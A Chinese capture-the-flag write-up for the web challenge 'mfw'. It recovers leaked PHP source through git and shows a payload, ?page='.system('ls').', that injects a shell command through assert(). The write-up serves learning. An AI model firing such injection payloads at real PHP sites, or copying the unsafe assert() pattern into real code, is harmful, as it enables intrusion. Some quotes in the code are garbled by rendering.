欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界_web_mfw

程序员文章站 2022-05-12 12:00:34
...

攻防世界_web_mfw
想到可能是git泄露,用hackgit扫描一下
攻防世界_web_mfw
得到源码

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos通过查询‘…’ 在’$file’中第一次出现的位置来防止目录遍历
assert() 的作用是现计算表达式 expression ,如果其值为假(即为0),那么它先向 stderr 打印一条出错信息,然后通过调用 abort 来终止程序运行。

assert()函数会将读入的代码当做PHP代码来执行

  • 首先对strpos函数进行闭合,构造一下,page=’)

  • 可以把后面’, ‘…’) === false的给注释掉,构造page=’).system(“ls”);

  • assert("strpos(’’).system(“ls”);//…

传入?page=’.system(“ls”).’
攻防世界_web_mfw
攻防世界_web_mfw
得到flag